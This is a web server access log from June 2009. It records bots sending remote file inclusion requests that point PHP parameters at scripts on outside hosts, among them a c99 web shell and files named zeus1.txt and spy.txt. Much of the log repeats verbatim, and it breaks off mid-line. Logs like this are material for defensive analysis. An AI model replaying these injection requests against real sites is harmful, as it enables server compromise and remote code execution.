216.119.103.12 - - [10/Jun/2009:10:19:12 -0600] "GET /rfi.txt/errors.php?error=http://www.waxzone.net//components/com_virtuemart/id1.txt?? HTTP/1.1" 404 533 "-" "Mozilla/5.0" 216.119.103.12 - - [10/Jun/2009:10:19:12 -0600] "GET /errors.php?error=http://www.waxzone.net//components/com_virtuemart/id1.txt?? HTTP/1.1" 302 723 "-" "Mozilla/5.0" 216.119.103.12 - - [10/Jun/2009:10:19:13 -0600] "GET /errors.php?error=http://www.waxzone.net//components/com_virtuemart/id1.txt?? HTTP/1.1" 404 33368 "-" "Mozilla/5.0" 70.85.165.10 - - [10/Jun/2009:10:22:18 -0600] "GET /rfi.txt///vwar/backup/errors.php?error=http://rsh.kiev.ua/images/idfx1.txt? HTTP/1.1" 404 524 "-" "Mozilla/5.0" 70.85.165.10 - - [10/Jun/2009:10:22:17 -0600] "GET ///vwar/backup/errors.php?error=http://rsh.kiev.ua/images/idfx1.txt? HTTP/1.1" 302 714 "-" "Mozilla/5.0" 70.85.165.10 - - [10/Jun/2009:10:22:18 -0600] "GET ///vwar/backup/errors.php?error=http://rsh.kiev.ua/images/idfx1.txt? HTTP/1.1" 404 33226 "-" "Mozilla/5.0" 70.85.165.10 - - [10/Jun/2009:10:23:15 -0600] "GET /rfi.txt///vwar/backup/errors.php?error=http://rsh.kiev.ua/images/idfx1.txt? HTTP/1.1" 404 524 "-" "Mozilla/5.0" 70.85.165.10 - - [10/Jun/2009:10:23:15 -0600] "GET ///vwar/backup/errors.php?error=http://rsh.kiev.ua/images/idfx1.txt? HTTP/1.1" 302 714 "-" "Mozilla/5.0" 70.85.165.10 - - [10/Jun/2009:10:23:15 -0600] "GET ///vwar/backup/errors.php?error=http://rsh.kiev.ua/images/idfx1.txt? HTTP/1.1" 404 33286 "-" "Mozilla/5.0" 70.85.165.10 - - [10/Jun/2009:10:24:49 -0600] "GET /rfi.txt///vwar/backup/errors.php?error=http://rsh.kiev.ua/images/idfx1.txt? HTTP/1.1" 404 524 "-" "Mozilla/5.0" 70.85.165.10 - - [10/Jun/2009:10:24:49 -0600] "GET ///vwar/backup/errors.php?error=http://rsh.kiev.ua/images/idfx1.txt? HTTP/1.1" 302 714 "-" "Mozilla/5.0" 70.85.165.10 - - [10/Jun/2009:10:24:50 -0600] "GET ///vwar/backup/errors.php?error=http://rsh.kiev.ua/images/idfx1.txt? HTTP/1.1" 404 33225 "-" "Mozilla/5.0" 124.0.146.100 - - [10/Jun/2009:11:20:39 -0600] "GET /rfi.txt///?_SERVER[DOCUMENT_ROOT]=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 404 528 "-" "Mozilla/5.0" 124.0.146.100 - - [10/Jun/2009:11:20:39 -0600] "GET ///?_SERVER[DOCUMENT_ROOT]=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 302 557 "-" "Mozilla/5.0" 124.0.146.100 - - [10/Jun/2009:11:20:41 -0600] "GET /?_SERVERDOCUMENT_ROOT=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 200 98280 "-" "Mozilla/5.0" 62.85.77.116 - - [10/Jun/2009:12:25:00 -0600] "GET /rfi.txt//claroline/phpbb/page_tail.php?includePath=http://adresik.info//components/com_agora/v7.txt??? HTTP/1.1" 404 551 "-" "libwww-perl/5.805" 62.85.77.116 - - [10/Jun/2009:12:25:01 -0600] "GET //claroline/phpbb/page_tail.php?includePath=http://adresik.info//components/com_agora/v7.txt??? HTTP/1.1" 302 741 "-" "libwww-perl/5.805" 62.85.77.116 - - [10/Jun/2009:12:25:02 -0600] "GET //claroline/phpbb/page_tail.php?includePath=http://adresik.info//components/com_agora/v7.txt??? HTTP/1.1" 404 33290 "-" "libwww-perl/5.805" 89.223.3.98 - - [10/Jun/2009:13:28:03 -0600] "GET /rfi.txt/errors.php?error=http://www.proektov.ru/v5id1.txt??? HTTP/1.1" 404 509 "-" "Mozilla/5.0" 89.223.3.98 - - [10/Jun/2009:13:28:03 -0600] "GET /errors.php?error=http://www.proektov.ru/v5id1.txt??? HTTP/1.1" 302 699 "-" "Mozilla/5.0" 89.223.3.98 - - [10/Jun/2009:13:28:04 -0600] "GET /errors.php?error=http://www.proektov.ru/v5id1.txt??? HTTP/1.1" 404 33107 "-" "Mozilla/5.0" 113.29.225.7 - - [10/Jun/2009:13:34:56 -0600] "GET /rfi.txt///administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://www.bungeholes.com/id1.txt? HTTP/1.1" 404 589 "-" "Mozilla/5.0" 113.29.225.7 - - [10/Jun/2009:13:34:56 -0600] "GET ///administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://www.bungeholes.com/id1.txt? HTTP/1.1" 302 779 "-" "Mozilla/5.0" 113.29.225.7 - - [10/Jun/2009:13:34:57 -0600] "GET ///administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://www.bungeholes.com/id1.txt? HTTP/1.1" 404 33409 "-" "Mozilla/5.0" 113.29.225.7 - - [10/Jun/2009:13:37:26 -0600] "GET /rfi.txt///administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://www.bungeholes.com/id1.txt? HTTP/1.1" 404 589 "-" "Mozilla/5.0" 113.29.225.7 - - [10/Jun/2009:13:37:26 -0600] "GET ///administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://www.bungeholes.com/id1.txt? HTTP/1.1" 302 779 "-" "Mozilla/5.0" 113.29.225.7 - - [10/Jun/2009:13:37:27 -0600] "GET ///administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://www.bungeholes.com/id1.txt? HTTP/1.1" 404 33409 "-" "Mozilla/5.0" 78.38.207.231 - - [10/Jun/2009:14:49:49 -0600] "GET //index.php?bug=http://www.phonesquare.com/shop/psdownload_engine//admin/includes/spaw/zeus1.txt?? HTTP/1.1" 302 581 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:49:50 -0600] "GET /?bug=http://www.phonesquare.com/shop/psdownload_engine//admin/includes/spaw/zeus1.txt?? HTTP/1.1" 200 98384 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:50:22 -0600] "GET //index.php?bug=http://www.phonesquare.com/shop/psdownload_engine//admin/includes/spaw/zeus1.txt?? HTTP/1.1" 302 581 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:50:23 -0600] "GET /?bug=http://www.phonesquare.com/shop/psdownload_engine//admin/includes/spaw/zeus1.txt?? HTTP/1.1" 200 98383 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:50:26 -0600] "GET /2009/06/04/controlling-an-rfi-bot//index.php?bug=http://www.phonesquare.com/shop/psdownload_engine//admin/includes/spaw/zeus1.txt?? HTTP/1.1" 302 773 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:50:27 -0600] "GET /2009/06/04/controlling-an-rfi-bot//?bug=http://www.phonesquare.com/shop/psdownload_engine//admin/includes/spaw/zeus1.txt?? HTTP/1.1" 302 615 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:50:28 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?bug=http://www.phonesquare.com/shop/psdownload_engine//admin/includes/spaw/zeus1.txt?? HTTP/1.1" 200 45654 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:50:29 -0600] "GET //index.php?bug=http://www.rentpreview.com/demo//images/drivid.txt?? HTTP/1.1" 302 551 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:50:31 -0600] "GET //index.php?bug=http://www.rentpreview.com/demo//images/drivid.txt?? HTTP/1.1" 302 551 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:50:31 -0600] "GET /?bug=http://www.rentpreview.com/demo//images/drivid.txt?? HTTP/1.1" 200 98240 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:50:32 -0600] "GET /?bug=http://www.rentpreview.com/demo//images/drivid.txt?? HTTP/1.1" 200 98240 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:50:34 -0600] "GET //index.php?bug=http://www.phonesquare.com/shop/psdownload_engine//admin/includes/spaw/zeus1.txt?? HTTP/1.1" 302 581 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:50:34 -0600] "GET //index.php?bug=http://www.rentpreview.com/demo//images/drivid.txt?? HTTP/1.1" 302 551 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:50:35 -0600] "GET //index.php?bug=http://www.rentpreview.com/demo//images/drivid.txt?? HTTP/1.1" 302 551 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:50:35 -0600] "GET /?bug=http://www.rentpreview.com/demo//images/drivid.txt?? HTTP/1.1" 200 98240 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:50:35 -0600] "GET /?bug=http://www.phonesquare.com/shop/psdownload_engine//admin/includes/spaw/zeus1.txt?? HTTP/1.1" 200 98384 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:50:37 -0600] "GET /?bug=http://www.rentpreview.com/demo//images/drivid.txt?? HTTP/1.1" 200 98240 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:50:40 -0600] "GET //index.php?bug=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 302 538 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:50:42 -0600] "GET //index.php?bug=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 302 538 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:50:42 -0600] "GET /?bug=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 200 98172 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:50:44 -0600] "GET /2009/06/04/inside-an-rfi-scan-bot-rfi-pt3//index.php?bug=http://www.rentpreview.com/demo//images/drivid.txt?? HTTP/1.1" 302 751 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:50:45 -0600] "GET /2009/06/04/inside-an-rfi-scan-bot-rfi-pt3//?bug=http://www.rentpreview.com/demo//images/drivid.txt?? HTTP/1.1" 302 685 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:50:45 -0600] "GET /?bug=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 200 98172 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:50:48 -0600] "GET /2009/06/04/controlling-an-rfi-bot//index.php?bug=http://www.phonesquare.com/shop/psdownload_engine//admin/includes/spaw/zeus1.txt?? HTTP/1.1" 302 773 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:50:49 -0600] "GET /2009/06/04/inside-an-rfi-scan-bot-rfi-pt3//index.php?bug=http://www.rentpreview.com/demo//images/drivid.txt?? HTTP/1.1" 302 751 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:50:50 -0600] "GET /2009/06/04/controlling-an-rfi-bot//?bug=http://www.phonesquare.com/shop/psdownload_engine//admin/includes/spaw/zeus1.txt?? HTTP/1.1" 302 615 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:50:50 -0600] "GET /2009/06/04/inside-an-rfi-scan-bot-rfi-pt3//?bug=http://www.rentpreview.com/demo//images/drivid.txt?? HTTP/1.1" 302 685 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:50:51 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?bug=http://www.phonesquare.com/shop/psdownload_engine//admin/includes/spaw/zeus1.txt?? HTTP/1.1" 200 45655 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:50:56 -0600] "GET /2009/06/04/inside-an-rfi-scan-bot-rfi-pt3//index.php?bug=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 302 738 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:50:57 -0600] "GET /2009/06/04/inside-an-rfi-scan-bot-rfi-pt3//?bug=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 302 685 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:51:35 -0600] "GET //index.php?bug=http://www.phonesquare.com/shop/psdownload_engine//admin/includes/spaw/zeus1.txt?? HTTP/1.1" 302 581 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:51:35 -0600] "GET /2009/06/04/controlling-an-rfi-bot//index.php?bug=http://www.phonesquare.com/shop/psdownload_engine//admin/includes/spaw/zeus1.txt?? HTTP/1.1" 302 773 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:51:36 -0600] "GET /2009/06/04/controlling-an-rfi-bot//?bug=http://www.phonesquare.com/shop/psdownload_engine//admin/includes/spaw/zeus1.txt?? HTTP/1.1" 302 615 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:51:36 -0600] "GET /?bug=http://www.phonesquare.com/shop/psdownload_engine//admin/includes/spaw/zeus1.txt?? HTTP/1.1" 200 98384 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:51:38 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?bug=http://www.phonesquare.com/shop/psdownload_engine//admin/includes/spaw/zeus1.txt?? HTTP/1.1" 200 45655 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:52:39 -0600] "GET /2009/06/04/controlling-an-rfi-bot//index.php?bug=http://www.rentpreview.com/demo//images/drivid.txt?? HTTP/1.1" 302 743 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:52:40 -0600] "GET /2009/06/04/controlling-an-rfi-bot//?bug=http://www.rentpreview.com/demo//images/drivid.txt?? HTTP/1.1" 302 585 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:52:42 -0600] "GET //index.php?bug=http://www.rentpreview.com/demo//images/drivid.txt?? HTTP/1.1" 302 551 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:52:42 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?bug=http://www.rentpreview.com/demo//images/drivid.txt?? HTTP/1.1" 200 45511 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:52:44 -0600] "GET /2009/06/04/controlling-an-rfi-bot//index.php?bug=http://www.rentpreview.com/demo//images/drivid.txt?? HTTP/1.1" 302 743 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:52:43 -0600] "GET /?bug=http://www.rentpreview.com/demo//images/drivid.txt?? HTTP/1.1" 200 98240 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:52:45 -0600] "GET /2009/06/04/controlling-an-rfi-bot//?bug=http://www.rentpreview.com/demo//images/drivid.txt?? HTTP/1.1" 302 585 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:52:46 -0600] "GET //index.php?bug=http://www.rentpreview.com/demo//images/drivid.txt?? HTTP/1.1" 302 551 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:52:46 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?bug=http://www.rentpreview.com/demo//images/drivid.txt?? HTTP/1.1" 200 45511 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:52:48 -0600] "GET /?bug=http://www.rentpreview.com/demo//images/drivid.txt?? HTTP/1.1" 200 98240 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:52:51 -0600] "GET /2009/06/04/controlling-an-rfi-bot//index.php?bug=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 302 730 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:52:53 -0600] "GET /2009/06/04/controlling-an-rfi-bot//?bug=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 302 572 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:52:53 -0600] "GET //index.php?bug=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 302 538 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:52:54 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?bug=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 200 45442 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:52:54 -0600] "GET /?bug=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 200 98171 "-" "libwww-perl/5.805" 201.25.70.63 - - [10/Jun/2009:15:24:36 -0600] "GET //index.php?section=http://www.portalwebfree.xpg.com.br/cmd-brandon.txt? HTTP/1.1" 302 532 "-" "Mozilla/3.0 (compatible; Indy Library)" 194.93.191.132 - - [10/Jun/2009:15:48:35 -0600] "GET //index.php?section=error&id=http://uaedesign.com/config/idfx.txt? HTTP/1.0" 302 545 "-" "MSIE 5\\.5;" 58.120.227.233 - - [10/Jun/2009:15:48:35 -0600] "GET //index.php?section=error&id=http://user6.nofeehost.com/wandira/spy.txt??? HTTP/1.0" 302 553 "-" "Mozilla/5.0" 211.49.99.92 - - [10/Jun/2009:15:48:36 -0600] "GET //index.php?section=error&id=http://uaedesign.com/config/idfx.txt? HTTP/1.0" 302 545 "-" "MSIE 5\\.5;" 194.93.191.132 - - [10/Jun/2009:15:48:37 -0600] "GET /?section=error&id=http://uaedesign.com/config/idfx.txt? HTTP/1.0" 200 98166 "-" "MSIE 5\\.5;" 58.120.227.233 - - [10/Jun/2009:15:48:37 -0600] "GET /?section=error&id=http://user6.nofeehost.com/wandira/spy.txt??? HTTP/1.0" 200 98215 "-" "Mozilla/5.0" 211.49.99.92 - - [10/Jun/2009:15:48:38 -0600] "GET /?section=error&id=http://uaedesign.com/config/idfx.txt? HTTP/1.0" 200 98166 "-" "MSIE 5\\.5;" 41.219.214.100 - - [10/Jun/2009:16:05:44 -0600] "GET //index.php?section=error&id=http://digilander.libero.it/atreus888/r0x/c99.txt?? HTTP/1.1" 302 596 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0" 41.219.214.100 - - [10/Jun/2009:16:06:01 -0600] "GET /?section=error&id=http://digilander.libero.it/atreus888/r0x/c99.txt?? HTTP/1.1" 200 98333 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0" 216.119.103.12 - - [10/Jun/2009:10:19:12 -0600] "GET /rfi.txt/errors.php?error=http://www.waxzone.net//components/com_virtuemart/id1.txt?? HTTP/1.1" 404 533 "-" "Mozilla/5.0" 216.119.103.12 - - [10/Jun/2009:10:19:12 -0600] "GET /errors.php?error=http://www.waxzone.net//components/com_virtuemart/id1.txt?? HTTP/1.1" 302 723 "-" "Mozilla/5.0" 216.119.103.12 - - [10/Jun/2009:10:19:13 -0600] "GET /errors.php?error=http://www.waxzone.net//components/com_virtuemart/id1.txt?? HTTP/1.1" 404 33368 "-" "Mozilla/5.0" 70.85.165.10 - - [10/Jun/2009:10:22:18 -0600] "GET /rfi.txt///vwar/backup/errors.php?error=http://rsh.kiev.ua/images/idfx1.txt? HTTP/1.1" 404 524 "-" "Mozilla/5.0" 70.85.165.10 - - [10/Jun/2009:10:22:17 -0600] "GET ///vwar/backup/errors.php?error=http://rsh.kiev.ua/images/idfx1.txt? HTTP/1.1" 302 714 "-" "Mozilla/5.0" 70.85.165.10 - - [10/Jun/2009:10:22:18 -0600] "GET ///vwar/backup/errors.php?error=http://rsh.kiev.ua/images/idfx1.txt? HTTP/1.1" 404 33226 "-" "Mozilla/5.0" 70.85.165.10 - - [10/Jun/2009:10:23:15 -0600] "GET /rfi.txt///vwar/backup/errors.php?error=http://rsh.kiev.ua/images/idfx1.txt? HTTP/1.1" 404 524 "-" "Mozilla/5.0" 70.85.165.10 - - [10/Jun/2009:10:23:15 -0600] "GET ///vwar/backup/errors.php?error=http://rsh.kiev.ua/images/idfx1.txt? HTTP/1.1" 302 714 "-" "Mozilla/5.0" 70.85.165.10 - - [10/Jun/2009:10:23:15 -0600] "GET ///vwar/backup/errors.php?error=http://rsh.kiev.ua/images/idfx1.txt? HTTP/1.1" 404 33286 "-" "Mozilla/5.0" 70.85.165.10 - - [10/Jun/2009:10:24:49 -0600] "GET /rfi.txt///vwar/backup/errors.php?error=http://rsh.kiev.ua/images/idfx1.txt? HTTP/1.1" 404 524 "-" "Mozilla/5.0" 70.85.165.10 - - [10/Jun/2009:10:24:49 -0600] "GET ///vwar/backup/errors.php?error=http://rsh.kiev.ua/images/idfx1.txt? HTTP/1.1" 302 714 "-" "Mozilla/5.0" 70.85.165.10 - - [10/Jun/2009:10:24:50 -0600] "GET ///vwar/backup/errors.php?error=http://rsh.kiev.ua/images/idfx1.txt? HTTP/1.1" 404 33225 "-" "Mozilla/5.0" 124.0.146.100 - - [10/Jun/2009:11:20:39 -0600] "GET /rfi.txt///?_SERVER[DOCUMENT_ROOT]=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 404 528 "-" "Mozilla/5.0" 124.0.146.100 - - [10/Jun/2009:11:20:39 -0600] "GET ///?_SERVER[DOCUMENT_ROOT]=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 302 557 "-" "Mozilla/5.0" 124.0.146.100 - - [10/Jun/2009:11:20:41 -0600] "GET /?_SERVERDOCUMENT_ROOT=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 200 98280 "-" "Mozilla/5.0" 62.85.77.116 - - [10/Jun/2009:12:25:00 -0600] "GET /rfi.txt//claroline/phpbb/page_tail.php?includePath=http://adresik.info//components/com_agora/v7.txt??? HTTP/1.1" 404 551 "-" "libwww-perl/5.805" 62.85.77.116 - - [10/Jun/2009:12:25:01 -0600] "GET //claroline/phpbb/page_tail.php?includePath=http://adresik.info//components/com_agora/v7.txt??? HTTP/1.1" 302 741 "-" "libwww-perl/5.805" 62.85.77.116 - - [10/Jun/2009:12:25:02 -0600] "GET //claroline/phpbb/page_tail.php?includePath=http://adresik.info//components/com_agora/v7.txt??? HTTP/1.1" 404 33290 "-" "libwww-perl/5.805" 89.223.3.98 - - [10/Jun/2009:13:28:03 -0600] "GET /rfi.txt/errors.php?error=http://www.proektov.ru/v5id1.txt??? HTTP/1.1" 404 509 "-" "Mozilla/5.0" 89.223.3.98 - - [10/Jun/2009:13:28:03 -0600] "GET /errors.php?error=http://www.proektov.ru/v5id1.txt??? HTTP/1.1" 302 699 "-" "Mozilla/5.0" 89.223.3.98 - - [10/Jun/2009:13:28:04 -0600] "GET /errors.php?error=http://www.proektov.ru/v5id1.txt??? HTTP/1.1" 404 33107 "-" "Mozilla/5.0" 113.29.225.7 - - [10/Jun/2009:13:34:56 -0600] "GET /rfi.txt///administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://www.bungeholes.com/id1.txt? HTTP/1.1" 404 589 "-" "Mozilla/5.0" 113.29.225.7 - - [10/Jun/2009:13:34:56 -0600] "GET ///administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://www.bungeholes.com/id1.txt? HTTP/1.1" 302 779 "-" "Mozilla/5.0" 113.29.225.7 - - [10/Jun/2009:13:34:57 -0600] "GET ///administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://www.bungeholes.com/id1.txt? HTTP/1.1" 404 33409 "-" "Mozilla/5.0" 113.29.225.7 - - [10/Jun/2009:13:37:26 -0600] "GET /rfi.txt///administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://www.bungeholes.com/id1.txt? HTTP/1.1" 404 589 "-" "Mozilla/5.0" 113.29.225.7 - - [10/Jun/2009:13:37:26 -0600] "GET ///administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://www.bungeholes.com/id1.txt? HTTP/1.1" 302 779 "-" "Mozilla/5.0" 113.29.225.7 - - [10/Jun/2009:13:37:27 -0600] "GET ///administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://www.bungeholes.com/id1.txt? HTTP/1.1" 404 33409 "-" "Mozilla/5.0" 78.38.207.231 - - [10/Jun/2009:14:49:49 -0600] "GET //index.php?bug=http://www.phonesquare.com/shop/psdownload_engine//admin/includes/spaw/zeus1.txt?? HTTP/1.1" 302 581 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:49:50 -0600] "GET /?bug=http://www.phonesquare.com/shop/psdownload_engine//admin/includes/spaw/zeus1.txt?? HTTP/1.1" 200 98384 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:50:22 -0600] "GET //index.php?bug=http://www.phonesquare.com/shop/psdownload_engine//admin/includes/spaw/zeus1.txt?? HTTP/1.1" 302 581 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:50:23 -0600] "GET /?bug=http://www.phonesquare.com/shop/psdownload_engine//admin/includes/spaw/zeus1.txt?? HTTP/1.1" 200 98383 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:50:26 -0600] "GET /2009/06/04/controlling-an-rfi-bot//index.php?bug=http://www.phonesquare.com/shop/psdownload_engine//admin/includes/spaw/zeus1.txt?? HTTP/1.1" 302 773 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:50:27 -0600] "GET /2009/06/04/controlling-an-rfi-bot//?bug=http://www.phonesquare.com/shop/psdownload_engine//admin/includes/spaw/zeus1.txt?? HTTP/1.1" 302 615 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:50:28 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?bug=http://www.phonesquare.com/shop/psdownload_engine//admin/includes/spaw/zeus1.txt?? HTTP/1.1" 200 45654 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:50:29 -0600] "GET //index.php?bug=http://www.rentpreview.com/demo//images/drivid.txt?? HTTP/1.1" 302 551 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:50:31 -0600] "GET //index.php?bug=http://www.rentpreview.com/demo//images/drivid.txt?? HTTP/1.1" 302 551 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:50:31 -0600] "GET /?bug=http://www.rentpreview.com/demo//images/drivid.txt?? HTTP/1.1" 200 98240 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:50:32 -0600] "GET /?bug=http://www.rentpreview.com/demo//images/drivid.txt?? HTTP/1.1" 200 98240 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:50:34 -0600] "GET //index.php?bug=http://www.phonesquare.com/shop/psdownload_engine//admin/includes/spaw/zeus1.txt?? HTTP/1.1" 302 581 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:50:34 -0600] "GET //index.php?bug=http://www.rentpreview.com/demo//images/drivid.txt?? HTTP/1.1" 302 551 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:50:35 -0600] "GET //index.php?bug=http://www.rentpreview.com/demo//images/drivid.txt?? HTTP/1.1" 302 551 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:50:35 -0600] "GET /?bug=http://www.rentpreview.com/demo//images/drivid.txt?? HTTP/1.1" 200 98240 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:50:35 -0600] "GET /?bug=http://www.phonesquare.com/shop/psdownload_engine//admin/includes/spaw/zeus1.txt?? HTTP/1.1" 200 98384 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:50:37 -0600] "GET /?bug=http://www.rentpreview.com/demo//images/drivid.txt?? HTTP/1.1" 200 98240 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:50:40 -0600] "GET //index.php?bug=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 302 538 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:50:42 -0600] "GET //index.php?bug=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 302 538 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:50:42 -0600] "GET /?bug=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 200 98172 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:50:44 -0600] "GET /2009/06/04/inside-an-rfi-scan-bot-rfi-pt3//index.php?bug=http://www.rentpreview.com/demo//images/drivid.txt?? HTTP/1.1" 302 751 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:50:45 -0600] "GET /2009/06/04/inside-an-rfi-scan-bot-rfi-pt3//?bug=http://www.rentpreview.com/demo//images/drivid.txt?? HTTP/1.1" 302 685 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:50:45 -0600] "GET /?bug=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 200 98172 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:50:48 -0600] "GET /2009/06/04/controlling-an-rfi-bot//index.php?bug=http://www.phonesquare.com/shop/psdownload_engine//admin/includes/spaw/zeus1.txt?? HTTP/1.1" 302 773 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:50:49 -0600] "GET 